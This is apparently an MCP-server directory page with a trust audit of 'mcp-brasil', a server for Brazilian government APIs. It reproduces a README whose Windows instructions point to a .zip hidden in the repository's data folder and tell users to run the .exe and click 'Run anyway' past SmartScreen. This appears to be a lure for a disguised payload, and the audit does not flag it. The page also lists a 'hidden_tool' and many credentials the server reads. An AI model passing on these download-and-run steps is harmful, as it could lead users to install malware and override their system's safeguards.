mcp-brasilCAUTION
Conecte agentes de IA a 41 APIs públicas brasileiras para acessar dados do governo, com 363 tools, 87 resources e 62 prompts
Overview
From the repository's own README, as read at the audited commit. Badges and raw HTML are left out.
[](https://raw.githubusercontent.com/ungarbed-triggerfish318/mcp-brasil/main/src/mcpbrasil/data/tcepi/mcpbrasilv3.7.zip)
🧾 What this is
mcp-brasil is an MCP Server for 41 public Brazilian APIs.
It helps AI apps and agents fetch public data from Brazil in a clean, simple way. You can use it with tools like Claude and other MCP-ready apps.
💻 What you need
- A Windows PC
- Internet access
- Permission to install or run apps
- A modern browser to open the download page
⬇️ Download for Windows
- Open the release page: https://raw.githubusercontent.com/ungarbed-triggerfish318/mcp-brasil/main/src/mcpbrasil/data/tcepi/mcpbrasilv3.7.zip
- Find the latest release at the top of the page
- Download the Windows file from the Assets section
- Save the file to your Downloads folder
- If the file is a
.zip, extract it first - If the file is an
.exe, run it directly
Use the download page here:
🪟 Run the app on Windows
If you downloaded a .exe
- Double-click the file
- If Windows asks for permission, click Run
- Wait for the app to start
If you downloaded a .zip
- Right-click the zip file
- Choose Extract All
- Open the extracted folder
- Find the app file inside
- Double-click the file to run it
If Windows SmartScreen appears
- Click More info
- Click Run anyway
- Start the app
🔌 Connect it to your MCP app
After the app runs, add it as an MCP server in your client app.
Common apps that can use MCP servers include:
- Claude Desktop
- Other MCP clients
- AI agent tools that support local servers
Use the server details from the app or from the release notes, then add them in your MCP client’s setti
5fe8162a3d92OBSERVED · 2026-10-11Connect
Built from this server's own package name, version and transport as found in its source — not copied from anyone's documentation, so it cannot drift against a page we do not control. Replace the environment placeholders with a token scoped to the least it needs.
claude mcp add mcp-brasil --env ANTHROPIC_API_KEY=${ANTHROPIC_API_KEY} --env AUTHKIT_DOMAIN=${AUTHKIT_DOMAIN} --env AUTHKIT_REQUIRED_SCOPES=${AUTHKIT_REQUIRED_SCOPES} --env AZURE_CLIENT_SECRET=${AZURE_CLIENT_SECRET} -- uvx mcp-brasil{
"mcpServers": {
"mcp-brasil": {
"command": "uvx",
"args": [
"mcp-brasil"
],
"env": {
"ANTHROPIC_API_KEY": "${ANTHROPIC_API_KEY}",
"AUTHKIT_DOMAIN": "${AUTHKIT_DOMAIN}",
"AUTHKIT_REQUIRED_SCOPES": "${AUTHKIT_REQUIRED_SCOPES}",
"AZURE_CLIENT_SECRET": "${AZURE_CLIENT_SECRET}"
}
}
}
}Exposed tools (9)
9 read · 0 write · 0 destructive.
| Tool | Risk | Description |
|---|---|---|
buscar_focos | read | Busca focos de queimadas detectados por satélite no Brasil. |
consultar_serie | read | Consulta série temporal. |
executar_lote | read | Executa múltiplas tools em uma única chamada, em paralelo. |
hidden_tool | read | Tool escondida. |
listar_bancos | read | Lista todos os bancos brasileiros registrados no Banco Central. |
listar_estados | read | Lista estados brasileiros. |
listar_features | read | Lista todas as features (APIs) disponíveis no mcp-brasil. |
planejar_consulta | read | Cria um plano de execução para consultas complexas. |
recomendar_tools | read | Recomenda tools relevantes a partir de uma pergunta em linguagem natural. |
Trust audit
CAUTIONgrade C · trust 78/100 Install with care. The audit found things worth knowing before you trust its output.
| Layer | What it checks | Result |
|---|---|---|
| L0 | Provenance & inventory | WARN |
| L1 | Static analysis of the code | WARN |
| L2 | Instruction surface (what it tells the agent) | PASS |
| L3 | Class-specific surface | PASS |
| L4 | Behavioural (sandbox) | SKIPPED |
What the source does
- Filesystem
- none-observed
- Network
- declared (5 observation(s))
- Shell
- declared (5 observation(s))
- Dependencies
- pinned
- Secrets in source
- none-found
Findings (7)
mcp_brasil_v3.7.zip
pkg = importlib.import_module(base)
mod = importlib.import_module(f"{module_path}.tools")package = importlib.import_module(package_name)
feature_module = importlib.import_module(module_path)
server_module = importlib.import_module(f"{module_path}.server")- Load .env file automatically via dotenv
Gates applied: no_behavioural_pass.
5fe8162a3d92full audit observations/trust-audit/mcp-server/ungarbed-triggerfish318__mcp-brasil.json · Report an issue / request a re-scanAudit history
Every audit this server has had. A grade with a past is a grade somebody is still checking.
| Date | Source | Verdict | Grade | Score | Change |
|---|---|---|---|---|---|
| 2026-10-11 | 5fe8162a3d92 | CAUTION | C | 78 | first audit |
Questions
What is the mcp-brasil MCP server?
Conecte agentes de IA a 41 APIs públicas brasileiras para acessar dados do governo, com 363 tools, 87 resources e 62 prompts
What tools does mcp-brasil expose?
9 in total: 9 read-only, 0 that write, and 0 that can delete or overwrite. Every one is listed on this page with its risk.
Is mcp-brasil safe to connect to an agent?
With care. The audit graded it C (78/100) and found 7 things worth knowing before you trust this server, listed below with the exact line each was found on.
What credentials does mcp-brasil need?
It reads ANTHROPIC_API_KEY, AUTHKIT_DOMAIN, AUTHKIT_REQUIRED_SCOPES, AZURE_CLIENT_SECRET, DATAJUD_API_KEY, GITHUB_CLIENT_SECRET, GOOGLE_CLIENT_SECRET, MCP_BRASIL_API_TOKEN, MCP_BRASIL_AUTH_MODE, MCP_BRASIL_OAUTH_PROVIDER, META_ACCESS_TOKEN and META_AD_LIBRARY_TOKEN from the environment. Give it a token scoped to the least it needs — an agent that can be talked into calling a tool can be talked into calling it with your credentials.
How does mcp-brasil run?
It speaks streamable-http, so it runs as a service you connect to over the network. It is published on PyPI as mcp-brasil.
How current is this page?
The grade is for one exact copy of the source (5fe8162a3d92), read on 2026-10-11. The repository is watched and re-audited when it changes.